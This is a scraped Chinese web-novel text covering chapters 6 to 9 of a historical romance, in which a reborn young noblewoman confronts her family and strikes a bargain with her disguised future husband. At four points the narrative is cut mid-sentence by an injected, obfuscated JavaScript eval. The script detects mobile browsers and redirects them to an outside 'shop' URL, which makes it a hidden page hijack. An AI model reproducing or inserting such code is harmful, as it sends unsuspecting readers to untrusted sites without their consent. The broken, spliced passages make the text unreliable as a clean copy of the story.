“我若显得好欺辱,他才加倍戏耍我呢。小人会因为我顺从,而放过我吗?他既已经盯上了我,只有让他知道,要咬下我这块肉,就得做好把牙全部绷烂,大家一起鱼死网破的下场,他才会知道怕,才会在动手算计我之前掂量掂量行不行。” 蜜珠说这番话的时候,正在喝小厨房里送来的银耳羹。 明明是甜甜润嗓子的羹汤,正在一勺一勺往嘴里送着,她这张樱桃小口说出来的话,却跟天崩地裂了一般,惊住了王氏。 王氏是真的傻眼了,她生出来的女儿脾性一直像她,像是没有什么棱角的面团,随便人怎么揉搓,却发不出什么火来的。 可而今却变成了这样,每一句言辞里都是利刃一样的尖锐。 王氏有点被吓到。 “珠儿…你、你怎么了?” 她甚至过来摸了一把蜜珠的额头,想看看女儿是不是发烧了,才会说出这些话。 别说王氏了,就连站在一旁的几个丫鬟,也都悄悄对视了一眼,很是心惊。 从来不声不响看着好欺负没脾气的人,说出这等犀利言辞,才叫人觉得石破天惊呢。 因着蜜珠往日里的文静秀气形象太过于深入人心,她如今这番变化才更令人惊异。 蜜珠也料到了众人会这样,她索性对王氏道。 “娘,我先前做了噩梦,梦见自己听信了曲立封对我的甜言蜜语,以至于失足惹来大祸。那个梦好真实,我想这是老天都看不过去,才会特意用梦来警示我。” “否则我好端端的,怎么会忽然变这么多,想着去对付曲立封呢。那种恨意还在我心里留着,我实在是无法将它只当成一个平平无奇的梦。” “娘…你是不是觉得我做错了?” 蜜珠抬起双眸,刚把一晚银耳羹喝完,瞅着那张脸蛋愈发白里透红,有种说不出的清新美。 她并不只是那种仗着年轻时候气色好,皮肤白,才瞧着好看的姑娘,而是骨相和皮相都完美到无可挑剔的那种美人儿。 年轻的时候好看,想着到老了,约莫也是动人绰约的。 这会儿眼眸水汪汪的注视着王氏,说自己做了噩梦,问她是不是做错了,登时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13126519|137955||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 把王氏那颗当娘的心,都给弄化了。 “哎呀我的珠儿,没错,你没错。娘不该说你啊。” 王氏是个标准的女儿奴,从前就疼自己这打小就长得过于出色的孩子,而今知道她有这些变化是因为做了噩梦,登时就更加心疼了。 是的,王氏和蜜老爷成亲多年,就得了一个蜜珠。 说起来,蜜家大概是子嗣艰难,所以哪怕蜜老爷很努力的耕耘,有了妾室,又找通房,但就是出不来什么种儿。 多年卖力耕耘下来,也就得了两个女儿。 一个是正房王氏所出的蜜珠,另一个么,则是妾室所出的小女儿蜜云。 至于儿子吗。 没生出来,这可成了蜜老爷的心魔了。满天下找大夫喝了好多药,偏偏就是生不出来。 去年刚找了大师算命,然后知道了一个不幸的事儿。 ——蜜老爷命中无子。 这事儿出来后,很是让蜜老爷消沉了一阵儿,最后终于决定去过继一个儿子。 于是才有了蜜家的小少爷——刚刚过继而来的蜜林。 王氏为了这件事,心里是很难过的,暗暗垂泪了多次,说自己没能给丈夫生出一个嫡子,才让蜜老爷一把年纪了去族里求人送个男孩儿过来过继。 前世蜜珠曾经陪着王氏一起垂泪。 这辈子她的观念可就全变了。 蜜珠得了娘的哄,于是也将娘拉到内室,屏退了四周下人后,悄悄道。 “娘,那个梦还叫我想明白了一件事儿,我想说给你听。” 王氏见她神神秘秘的,不由爱怜地摸着她脑顶。 “什么事儿啊?” 该不该说,是不是因着有了婚约,知道要成亲了,女儿就好像忽然间长大了,变得比她这个当娘的,看着还要有主见。 仔细想想,珠儿的变化,就是从接到圣旨被吓昏过去那天开始的。 蜜珠:“娘,爹生不出儿子,是他自己没本事,他不中用。不该你去自责。你不要处处退让,这样活着委屈。” 这话一说出来,王氏都赶紧去捂她嘴。 “你一个还未出阁的姑娘,哪能把这种话挂嘴边。仔细别叫你爹听见了!” 生不出儿子…这几乎是蜜老爷的一个逆鳞。 是以,好不容易得来了蜜林这个继子,蜜老爷是把对方当亲儿子一样疼的,甚至更过。 甚至有几次蜜林在王氏这里甩脸色,蜜老爷见了,还反过来训斥王氏不会当家。 这让王氏背地里不知道抹了多少次眼泪。 蜜珠仔细看着娘,对她道。 “娘,你长得那么好看,倘若当初嫁的不是我爹,是其他男子,人家肯定宝贝你都来不及。你的家世早先也比爹好,他当官之前就已经娶了你,你是陪他吃过苦的糟糠之妻。他在朝廷当官要脸,定是不能随意传出,苛待和丢弃糟糠之妻这样的闲话的。我这样说,你听懂了吗?” 被女儿两只亮晶晶的杏眼看着,王氏心口砰砰跳,总感觉女儿说的话,隐约间在捅破天。 这个天,是过去她从未想过去触及的。 她的心快跳出嗓子眼儿了,好像有什么藏在心底的委屈,和其他什么不知名的情绪,要跟着女儿的这些话,终于从暗处来到有光的地方,被照见。 7.第 7 章 蜜珠握住王氏肩膀,对她道。 “娘,我的意思是,你要勇敢一点。人若太过于善良懦弱,有时候换不来尊重。你不管是当个悍妇,还是像现在一样当个过于百依百顺的好妻子,在爹那儿,你都是正妻,他都没法对你怎么样。” “女子最多最多也就是被休弃罢了,但爹可比你更怕这个呢。” “他想当官,想往上爬,期待着我当了世子妃,能借助长公主来帮帮他,若被人知道他连后院都管不好,旁人只会笑话他。” 蜜珠说起这些时,王氏都怔了,只觉得往日从来没想过的问题,忽然从混沌变成清晰。 珠儿的话,让她看到了生活的另一种可能与样子。 当个悍妇什么的…还不会被休弃,似乎比憋屈着过要过瘾? 啊呸呸呸,不行。 王氏回过神来,脸上神情都白了,对蜜珠道。 “珠儿,你可别糊涂。女子性情柔顺才容易被人喜欢,不会被夫家厌了。悍妇那是市井里大字不识的农妇所为啊,木秀于林风必摧之,女子性情刚直,就成为众矢之的。” “娘知道你要嫁进王府,心里…心里委屈。这一桩桩一件件的事儿,就没个合你心意,让你舒坦的。娘晓得你受苦了,但有什么法子呢,咱们身为女子,能做的就是在这后院里,尽可能让规矩更有秩序一些,日子好过点,然后子女平安…” 蜜珠捂住耳朵。 “停。娘,我不听这些道理。” “我不要善良懦弱,不要被人欺负,不要和其他女子争风吃醋为了一个男子,活得像个物件!” 倘若前世她是那种善解人意又宽厚贤良的女子,那么,死在了那一世,就也已经把那些套在身上的规矩磨光了。 蜜珠比任何时候都坚定,她要为了自己活,要开开心心的活。 “娘,我晓得你怕我闯祸,被人看成眼中钉了欺负。但我不怕。” 蜜珠那双明媚朦胧的杏眼,仿佛蒙上了一层烟雨一般的水光,因此显得愈发泪水涟涟的动人。 “被人欺负,我就反抗。大不了就是一个死,哪怕活成莽夫,我也要比梦里的那个我,活得更有脾性,活得像个人,鲜活一点!” “我可能并不聪明,找不到处理事情最好的办法,但在学到最好的处理手段之前,我都要让自己快快活活的活,刚强的活。” “男子也是人,他们也有怕的东西。爹怕丢官,怕被人笑话,这就是他的弱点。娘若能看透这一点,捏住这个,就能踩在爹的底线上,尽可能的肆意一些。” 一口气说完这些,蜜珠觉得自己累了。 她轻声道:“娘,我想做点小生意,你手里还有钱吗?” 做生意这个事儿,她不打算瞒着娘。 在整个蜜府里,娘是她最坚强的后盾,她是娘唯一的孩子,她们血浓于水,是最亲的人。 娘只是性子老实胆怯了一些,却不是不爱她。 王氏今儿听了蜜珠那么多“惊世骇俗”又“石破天惊”的大道理,而今听到“做点小生意”这样的事儿,对比下来,竟然觉得这不算什么了。 她揉了揉发涨的脑壳儿,起身去拿了一个放首饰的小盒子过来。 “本就是打算给你的。” 她这些年管着中馈,多少也攒下来一些钱。 当然,给女儿的这些体己钱,是她名下的那些铺子里的产出。 她还给了蜜珠几个铺子的地契,连同管事们的卖身契。 “这些我拿在手里也用不上,你将来是世子妃,难免要和那些贵人来往,手里若是不宽裕,会被人看低。拿着吧,随你做什么,哎,我是不管你做什么了。” 这几日下来,王氏算是明白了一个道理。 女儿其实比她厉害。 兴许这样的女儿嫁出去,才不会受那么多欺负。 悄悄方才珠儿和她说话时,那番伶牙俐齿的小模样,可真是机灵,莫名让她心底那股对于女儿将要成亲嫁出去的忧虑,减少了许多。 女儿泼辣不好惹一些,总归比懦弱怕事要好些,少一点欺负。 说到底人活在这个世上,常常为了活出别人眼里的颜色,而亏待了自己的里子。 王氏这把年纪了才发觉,在这一点上,珠儿竟然比自己看的通透。 捧着娘给的小金库,蜜珠悄悄用袖子掩住,回厢房的时候,自个儿的脚步都是轻快的。 她要开始想想,怎么让自己的钱生钱了。 对了,也不知道那江湖男子教自己的武功秘籍,会是什么样的? 能让她以后变成非常厉害的大侠吗? * 夜深人静,京城的郊外当然更是一片万籁俱寂。 当然这要忽视了池塘里不断呱呱呱叫的声音。 房顶上的男子,静静看着夜空,木质面具在无人看到的时候摘了下来,那张脸袒露出它原本的样子。 不是黑子猜测过的那样,是因为脸上受了什么伤,或者长得不够好看,才刻意隐藏起容貌。 华宣生来就容貌出众,还很小的时候,就是个粉雕玉琢的精致童子。 旁人或许还要担忧,隔了十几年之后,人会不会长残,没了幼时的那种惊艳。但他却完全打破了那种担忧。 一直被京城所有人,都以为是个痴傻病弱世子的华宣,生就了一张和他祖母当年的风华绝代相比,丝毫不落下风的脸。 如今是弱冠之年,在旁人早该娶妻生子的时候,私下里无人注意时,躲着人海的喧嚣沉浮,静静想着一些与南宁王世子全然无关的事情。 月下他的脸是沉静的,望着天边的一轮孤月,眼里无波无澜。 但面若皎月这个词,用在他身上,是完全符合的。 公子气质出尘,一身黑色劲衣,却比京城里那些锦衣华服的贵公子们,都要来的贵气。俨然有种不世出的绝世美玉,正在月下照耀的味道。 在蜜府的蜜珠大小姐,正捧着娘刚给的小金库,呼噜噜睡觉香甜时,华宣看着千百年来不曾变过的夜空,两只手臂高枕在脑后,睡意全无。 方才他养在京城中的手下,已经飞鸽传书过来一封。 命运想来真是奇妙。 今日被他劫下马车的女子,竟然是他那素昧平生的未婚妻。 往常京城里那些纨绔子弟们,喜好谈论谁家的姑娘颜色好,华宣因着闭门不出,常年顶着痴傻病弱的名头,理所当然的缺乏这些对于传闻的熟悉度。 但太史令蜜景府上的大小姐,蜜珠姑娘的名头,仔细回忆,他竟然也依稀有所耳闻。 传闻中门规甚严的蜜珠姑娘,似乎鲜少出门,几乎是个足不出户的性子。 大概是因为知道自己的容颜过于出挑,生怕在外遇到纨绔子,就谨言慎行的在府里闭门不出。 却没想到,人家不是不出门,而是戴着帷帽出门,将脸遮得严严实实,叫人看不出来了,然后跑去郊外买院子。 想起这姑娘今日在马车上,和自己一来一往的对话,华宣莞尔,有些想笑。 是不是倾城绝色,他尚未看到脸,还不知道。 但这姑娘的性情,却和传闻中的截然不同。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13130247|137955||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有些烈性,有些俏皮,还有一些初生牛犊不怕虎。 但那种鲜活劲儿,是华宣乐于看到的。 这京城太死寂了,整片江山下的所有人,都如同被一张看不见的网给裹住,谁都看不清自己的命运,却都身不由己的被折磨着。 有鲜明性格的人,就像是沙漠中的绿洲,少到但凡出现一个,都会觉得那是挣脱命运的希望,不该轻易去摧毁。 三更天时,几个身手敏捷的人,全都赶来了院子。 “世子!属下来迟!” 这都是王府这些年秘密养着的暗卫。 暗卫们嗅觉都敏锐,察觉华宣身上有药味,应是受了伤被包扎过后,脸色都一变。 今日那叫黑子的人来王府送信时,就说过世子受了伤,正在被人追杀。 老夫人知道这个事儿后,当场就吓得摔碎了个茶壶,只等着他们找到世子,成功带回去报信儿。 此番南宁王世子暗地里回京,旁人却半点消息都不知道,只一直以为病弱的痴傻世子,一辈子都被困在王府中,用汤水药膳吊着性命。 所以这几日刺杀华宣的人,多半就是江湖纠纷引来的麻烦。 华宣静静看向众人,并不避讳自己今日的遭遇,对他们道。 “留一人在此地,暗中跟着这院子的主人。” 暗卫们对视一眼,很快有人主动走出队列,隐匿到了暗处。 他们的藏身技能极好,只要不自己主动出来,哪怕在白日,身旁有人经过,也不会轻易露出身形。 …… 蜜珠提前醒了。 她醒来,先是去看自己放在床里面的小盒子。 娘给的地契、银票、连同首饰都在呢。 第二件事就是让人备车去郊外。 小柳儿困的迷迷糊糊看着自家小姐,很是惊讶,小姐今日竟然不睡到日上三竿了。 外头可还没天亮呢,公鸡才刚刚打鸣。 “我早起一趟,就不像我了么。” 蜜珠瞧出小丫鬟心里在想什么,心说自己不过是偷懒睡了几天觉,以前的那些勤奋日常,早就被人忘了个一干二净。 可见好人只要做了一两件不那么好的事儿,就容易让人忘记从前。 蓄月多问了一句:“小姐是要亲自去吗?” 蜜珠点头,让小柳儿将自己的头发绑起来,还用一些黑粉把脸涂黑一些。 “我觉着心里不踏实,怕被逃债。” 她是回来之后,才琢磨出了那面具男的意思。 郊外的小院子四周也没什么人,最多就是一些经过的农户,距离有些远。若是自己不让小厮给这人送东西吃,对方吃什么? 可偏偏当时那男子一口回绝,傲气的很,就跟他是谪仙人,吃不到那些个五谷杂粮似的。 这合理吗? 越想蜜珠心里越是不对劲:“我怀疑他要跑。” “越是受伤的人,越是要进食补身体,他呢,喝些西北风就能好啦?” 大概是因着着急,蜜珠的话都显得俏皮起来,说出来的话,语调都不像她往日的样子了。 虽说蜜珠的反应有些突然,但蓄月想了想,自家大小姐这次的怀疑,还真在理。 也是。 兴许这人真要跑。 总戴着帷帽出门太麻烦了。 蜜珠寻思着,若能像男子那样乔装打扮,回头见了那面具男,他若是没走,刚好可以先给自己讲讲习武的基本常识,让她先把架子练起来。 只不过…前提是那人没偷偷跑掉呢! 8.第 8 章 第二次去郊外的院子时,蜜珠长了个教训,带上了府里的家丁。 只不过她选的家丁,都是平时就嘴巴严、做事又牢靠的人。 一路上几乎没有耽搁,马车轮子快在地上摩擦出火星子了,蜜珠总有一种不踏实的感觉。 等到急吼吼赶到了院子,进门一看。 哦豁,床上空无一人,被褥倒是叠好了,看不出来人躺过。 倘若不是蜜珠鼻子灵敏,还能依稀在空气里捕捉到,昨日请来大夫给那面具男上药的味道,她都会怀疑这人是不是根本没出现过。 药味儿还在,但那个答应了要交易给她武功秘籍的男子,跑得真干净。 蓄月安安静静站在小姐身旁,悄悄拿眼睛偷看蜜珠。 小姐看来在生气,气还不轻。 不过照她的看法,江湖中人本来就是把脑袋别在裤腰带上,不知道哪天就会丢掉的,和他们这种安安分分过日子的人,根本就是两个世界的人。 这样擦肩而过,其实反而是不错的结局了。 小姐似乎在有了婚约之后,就生出了一种急切的紧迫感,显得很不安。 不管是让她去买院子,还是要和人江湖男子要武功秘籍,还有找那些会功夫的家丁,都是从前的小姐万万不会做的。 “小姐,既然人走了,也就算了吧?” 蓄月瞅着蜜珠的神色,轻声劝慰。 蜜珠抿了抿唇,有点儿委屈:“都说江湖人士行侠仗义,最是重恩重情,怎么他还说话不算话呢?” 先前蜜珠还觉得,像曲立封那样的男子,毕竟是少数,这个世上还是有好人的,当然也就还有好男子。 但才刚和面具男谈妥了交易,对方就悄无声息离开,总让她有种被欺骗和愚弄了的感觉。 看来以后所有男子都不能轻信! 沮丧的蜜珠站在院子里,垂头丧气的样子,瞧着真是可怜。 请大夫的诊金和药钱搭进去了,其实也不多,但就是心里难过。 她已经把这个事儿记住了!由小见大,往后任何男子的话都不能轻信。 哪怕将来要做生意,也是如此,真金白银的,当场就交付两清。 左右无人,蜜珠也拿掉了帷帽,脸虽已经提前做好了准备,涂了一些黑粉,但到底是天香国色的相貌。 肤色的一点儿变化,最多只是让她看着不那么惊为天人罢了,一打眼瞧去还是美的人心跳紊乱的。 隐在暗处的暗卫,看到蜜珠时,第一反应还是——世子这是英雄被大美人救了? 而且还误让人家姑娘以为,世子是不讲信义又偷偷离开的坏蛋。 但摸摸良心说一句真心话,这姑娘和世子,只看容貌气度,真是登对极了。 只可惜,世子已经被圣上赐婚,有了蜜家的大小姐做未来的世子妃。 只瞧这姑娘的花容月貌,多半也是不愿意当妾室的,而且还是世子那种在外头有着痴傻病弱名声的男子。 可惜了。 世子让自己暗中跟着人家姑娘,难道还有什么想法? 暗卫替自家世子想了想,没想出个名堂来,最终还是只能暗暗保持距离,先帮世子盯梢着那姑娘。 只是等跟着对方的马车,远远回到了京城后。 暗卫才愕然发现,那姑娘的马车进的竟然是蜜家的院子。 “大水冲了龙王庙啊…” 弄了半天,无意间将世子救下来的大美人,竟然就是世子将来的未婚妻。 这下暗卫更加不敢怠慢了,直接做好了要一直暗中保护,未来世子妃安全的准备。 … 一晃就过去三日。 蜜珠已经让人跑遍了整个京城,将所有铺子的人流量,和他们经营的生意,都做了个记录。 娘给她的铺子,恰好避开了京城人流量最多的那几个地方,生意自然要略微差上一些。 她带着蓄月一起去查过账,这些年铺子里的生意,只能说是略有盈利,算不上挣很多。 “小姐,你名下如今有三个铺子,一个是卖绸缎的,一个是经营器皿生意的,还有一个是…” 蓄月正在厢房,认真和蜜珠说关于铺子生意的话,就听见“咚”一声响,有一枚飞镖穿过窗户,钉在了桌上。 “哎哟!”小柳儿胆子最小,看清那几乎钉穿了桌子的飞镖后,被那寒光闪闪的样子吓了一跳。 蜜珠也是心口跳了几跳。 她隐约有种预感,走去一瞧,发现飞镖上赫然还穿了一张字条。 用这种方式和她传字条的… 她想不起来能有谁,除非,除非是那个面具男? 蓄月已经警惕地追出去看,方才是谁接近了院子,然而跑出去却什么都没看到,问了经过院子的其他丫鬟婆子,人家也是茫然摇头。 “小姐,我问过了,方才无人看见有谁过来。这飞镖进来的太过于蹊跷。” 简直令人胆寒。 能这么光明正大在白天,当着这么多人的眼皮子送字条,但若是对方心思坏一点,是不是都能来害人了? “不用找了。” 蜜珠已经将飞镖拔下来,拆开了字条,看了那上面的话。 “是那个人。” 随同字条一起送到她手里的,除了飞镖,还有一枚金叶子。 而今金叶子躺在蜜珠手心,更是将她一身肌肤衬的雪嫩。 小柳儿已经张大嘴哇了起来:“金叶子!怎会有人给我们送金叶子啊?” 方才她是被吓的叫,这会儿却是惊喜的叫。 说起来,上次小姐去郊外的院子,她没有跟着去,小姐回来后就好像和蓄月姐姐,有了什么共同的秘密,似乎是遇到过什么人。 但她不知道内情,只晓得小姐说过几次,那人是个“不守承诺”之徒。 她还是很少看到小姐这般生气的。 今日这金叶子,难道就是那人送来的? 小柳儿虽然经历的事情少,人也天真,但并不笨,偶尔也能有个灵机一动,想到事情的真相上去。 蓄月走来瞧着金叶子和字条,心中倒是说不出是松了口气,还是担忧。 上次见那面具男子,总觉得不是常人。 小姐毕竟是大家闺秀,不日就要嫁入南宁王府的,与外男牵扯过多,还是这种有真本事的江湖人,心里总是不踏实。 蜜珠用手轻轻摩挲了一下金叶子,觉得它怪实的。 “你瞧。” 她也没有瞒蓄月,把字条递给对方看了。 那上面写着,武功秘籍的事情他并未忘记,只是那日有事不便逗留,才匆匆离开。如今事情处理完了,选了个地方安排了专门的女子教授她武艺。 这地方就在京城东郊的一座寺里。 因着那处寺庙比较灵验,人来人往的很是热闹。蜜珠去了那儿,自有人带她去见人专门安排的教习。 “能信吗?” 蜜珠微微抬眸,如水的眼眸哪怕不做什么表情,也总是有一股天然的风情在。 蓄月看出自家大小姐眼底的好奇,不忍心说破。 “罢了,便去看看。多带些人便是。” 看完字条,蓄月心里反而多了几丝舒坦。 毕竟那面具男子在字条中 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13149247|137955||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说了,找了会武艺的女子来教小姐。这就减少了一层她先前的忧虑。 说明那人虽然是个瞧着混不吝的江湖人,但还是多少晓得一些男女大防,心中有些分寸的。 能去找女教习来完成约定,也算有心了。 “我暂且收回先前的话吧,他还算个守信之人。” 蜜珠将字条收好,金叶子也宝贝的放到了,娘昨日给她的小盒子里。 上次的那些药钱,这枚金叶子抵起来绰绰有余。 这桩交易没有赔本呀。 * 南宁王府看着和从前没什么区别,往来的人不多。 守门的家丁在南宁王府待着,每日里迎来送往的事儿都少做了许多。 此时王府的一间密室里,才刚刚休养好几分伤口的世子,已经恢复了本来面目,不再戴着那张在江湖上混着的面具。 对面坐着长公主和李老夫人,这两人一个是世子的娘,一个是他的祖母。 李老夫人其实看着一点儿都不老,鬓发都没白,只是脸上的皮肤看着没有那么年轻了,略有些纹路。 即使如此,依然能看出来,她年轻时候必定是那种名动京城的大美人。 事实也的确是如此,作为前朝遗留下来唯一的皇室血脉,李老夫人是前朝唯一的标志了——曾经的亡国公主。 戏剧性的是,大令王朝的长公主,成了前朝公主的儿媳妇,两人成了一家人。 继而诞生了南宁王世子这样的存在——既能算是皇亲国戚,有着皇室血脉,却又是前朝余孽剩下的血脉。 这两者让南宁王府的地位,在整个京城显得极为特殊。 无人来主动攀附权贵,但也无人会在明面上去踩踏王府的尊严。 长公主和当今陛下之间的兄妹感情,是几乎所有人都知道的。一母同胞,又都早早失去了娘,所以分外珍惜彼此之间的手足情。 这才有了当初长公主因着世子爹的容貌倾心,而主动下嫁,继而给这个家挣来了一个王爷的封号。 当初李老夫人作为前朝公主,被先皇赐给了有着从龙之功的一个将军,也就是如今世子的祖父。 所以这个地方曾经是将军府。 等到长公主嫁到了华家之后,皇帝想让自己唯一的同胞妹妹地位尊贵一些,就特意赐予了其夫君南宁王的封号。 于是这个地方就改成了南宁王府,扩建了四周的园子。 这才有了如今众人看到的气派样子。 此事说起来牵扯众多,也是那些知晓旧事的老一辈人啧啧称奇的事情。 两朝公主成了婆媳,还能相安无事的生活在一起这么多年。不管背地里有多少隔阂与龃龉,起码明面上维持了和平。算是一桩佳话。 至少这体现了当朝皇帝,以及先帝是有容人之量的,能容得下前朝皇室无辜女子,这点无形中成了大令去招揽许多有识之士的一个佐证——让人相信大令王朝的皇帝,有爱民之心,是明主。 此时在密室里,无人开口说话。 李老夫人和长公主,都是目含疼惜地望着华宣。 “赐婚的事情你都知道了?是怎么打算?” 还是长公主先开口说话。 “娘去替你打听过,那姑娘除了家世低一点,容貌与性情的确是没的说。只是你若不喜欢,娘便替你去把这婚给拒了。” 长公主到底疼惜儿子,知道他装疯卖傻这么多年,吃了很多苦。 她实在是不忍心在终身大事上,再叫儿子不顺心,觉得委屈了。 静默中,华宣终于开口。 “婚事不必,娘,我娶她。” 9.第 9 章 嗯? 不管是李老夫人还是长公主,全都诧异地抬眸看向华宣。 他们这个孩子,自小就吃了许多苦。 幼时在宫中因被奸人牵连,而中了毒,后来哪怕请来了神医,被治好了,也因着一些不能道明的缘故,只能继续装傻,任凭外头传痴傻世子的名头。 所以这些年哪怕知道华宣爱往外跑,李老夫人也都是和长公主尽量去遮掩着,不让任何端倪被旁人察觉。 也似乎是因着有了相同的秘密,和同一个要保护的人,婆媳两个才能如此安然相处。 华宣不仅是新朝与旧朝之间的纽带,更是整个王府的亲情纽带。 “陛下给我赐婚,这家姑娘不成,也会换另一家。” 华宣察觉到娘和祖母的诧异,淡淡开口解释。 长公主与李老夫人对视了一眼,然后又不动声色挪开眼神。 左右这个王府真正主事的人,是华宣自己。 既然他点头要了这个媳妇,其他人自然也不会再说什么。 长公主问过了儿子的意见后,一锤定音:“娘让人准备准备,过几日就去提亲。” 虽是圣上赐婚,但提亲之事总归是要做的。 李老夫人不方便出面,这件事情必须她来。 华宣垂眸,并没有提出反对。 * 蓄月今日回来说起:“我在街上遇到了曲公子,见他在蜜府附近徘徊,但后来又走开了。” 蜜珠压根不关心曲立封的事情,但见蓄月提起了,知道她担心,不免安抚道。 “他骨子里缺少血性,知道惹我会鱼死网破,他那等趋利避害的性子,是不会做出什么的。” 这点蜜珠还是有把握的。 毕竟前世跟在曲立封身边那么多年,见过对方许多张嘴脸,晓得这人有多惜命。 要说曲立封有多聪慧,倒也不见得,只不过对方是男子,天然占据了一些身份上的便利,又通过功名,有了一条在朝堂上的上升之道。 历来朝堂上选官时,能在皇帝面前得脸的,多少都有几分才气或英俊。 曲立封占了这两样,又加之这人惯会见风使舵的说一些好听话,前世升官不停,也算是运道好了。 但这不是对方前世欺骗她所有的感情,到最后又将她贬到尘埃的原因。 蜜珠不愿意多理睬这人,不想让自己为无谓的事情多投入什么精力,可倘若曲立封不死心,还来纠缠她,她也是会反击的。 断掉一个多年苦读经书想要金榜题名之人的梦想,有许多种方法,蜜珠刚刚好知道一条最便捷的。 但不到最后一刻,她不想让自己落入那等精于算计,又做事不留余地的地步。 恶人因着没有良知,厚颜无耻才成为恶人。 她虽算不上是什么顶好的善人,却也不想因着前世的遭遇而改了向善的初心。 蓄月见自家大小姐心里有成算,也只能将要说出口的话,暂且搁在肚子里了。 她重新说起铺子的事情。 “咱们真的要把那三个铺子,都改成米铺吗?” 这点蓄月挺疑惑的,好端端的三个铺子,大小姐竟然想改了营生换做别的,而且都是米铺。 蜜珠肯定:“对,改。” “民以食为天嘛,不论如何开米铺,亏不了本。” 她笑容明媚灿烂。 但心底里,蜜珠没有说出口的是,几个月后约莫会传来西边饥荒的事情。到时候会有一些流民四处流窜,京城里的米价也提升。 米铺到时候就有用武之地了。 而且开了铺子,也方便更加正大光明的屯粮。 这事儿说完之后,蜜珠就见小柳儿站在角落里,耷拉着脑袋,像是有心事的样子。 “怎么了柳儿?” 因着和柳儿有过前世同患难的经历,又知晓对方的一颗护主之心。 蜜珠往日里都会多留几分心思,放在小柳儿身上,尽量让这丫头开心一些。 “…我怕说了小姐生气。” 柳儿觑着蜜珠的神色,不敢将自己今日看到的事情说出来,可不说心里又憋得慌。 而且小姐看着和从前的性情不同了,现在变得很有主张,让人莫名产生 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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小柳儿心里咯噔一下,瞬间蹿过去跟在了蜜珠身后,急到说话都结结巴巴。 “小姐…小姐…你…你别去受气。” 去见了小少爷之后回来,小姐多半又是委屈的哭。 都怪她,刚才多嘴什么,把这事儿说出来,又引来了一些麻烦。不然小姐这会儿早就歇下了。 听到“受气”两个字,蜜珠先是愣了愣,半晌,觉得有些好笑。 看来她上辈子一直是活的很窝囊,在旁人眼里,约莫是处处受气的。哪怕是对上了才来到府中不到半年的八岁弟弟,她也那么懦弱。 一念至此,蜜珠自己都莞尔笑了。 “柳儿放心,我不是去受气。” 蓄月这段时日一直跟在蜜珠身边办事,心思细腻,又擅长观察,闻言多看了蜜珠一眼,也跟着轻轻拍了拍小柳儿的胳膊,示意对方不用那么着急。 蜜珠还在前头走,小柳儿就扯着蓄月袖子。 “咱们别让小姐去寻小少爷…” 她遇到事儿,常常不知道该怎么解决,没什么主见,就指望蓄月能把大小姐拦下来。 然而蓄月却侧耳到她身边道。 “你且静观其变。” 想了想,她多说了一句:“大小姐已经不是以前的大小姐了。” 士别三日当刮目相待。 大小姐这番变化,虽说并没到十全十美的程度,但观对方言行和心性的变化,的确是和以前大大不同了。 再对上有些顽劣的小少爷,不至于再像从前那样被气哭了。 小柳儿没听懂这其中的隐藏之意,只懊恼道。 “都怪我多嘴。” … 这会儿天色已暗,蜜珠带着身后的两个丫鬟,连同刚才经过外院喊上的两个家丁,还有两个粗壮婆子,径直往蜜林住的院子走去时,引来了许多下人的观望。 “大小姐行色匆匆的,是要去哪儿?” 蜜老爷的侧室刘小娘,从自家院子里探出一个脑袋,看着蜜珠的身影,将手里的瓜子壳儿扔到一边,立刻就有一个丫鬟捧着布兜,将瓜子壳儿接住了。 “奴婢也不晓得。”一旁的丫鬟小声回答。 刘小娘虽然是妾室,但在蜜老爷那儿还是有几分受宠的,再加上府里唯二的那个姑娘,是出自她这边,占了子嗣,自然让她在整个蜜府里都很得脸。 而且刘小娘和正房王氏的性情可不一样,她受了委屈惯会找机会哭回来,用了百种手段在蜜老爷跟前巩固地位。 所以这些年里,她陪在蜜老爷身边过夜的次数,仔细算起来,竟然是要比王氏这个正房要多的。 “派个人去看看怎么回事。” 刘小娘又磕了个瓜子,将壳儿随意的往布兜里一扔,扭头吩咐身后的心腹。 “娘。”刘小娘身后传来了声音。 是蜜府的二小姐蜜云,听到了动静,也从房里出来。 “字帖习完了么?”刘小娘问她。 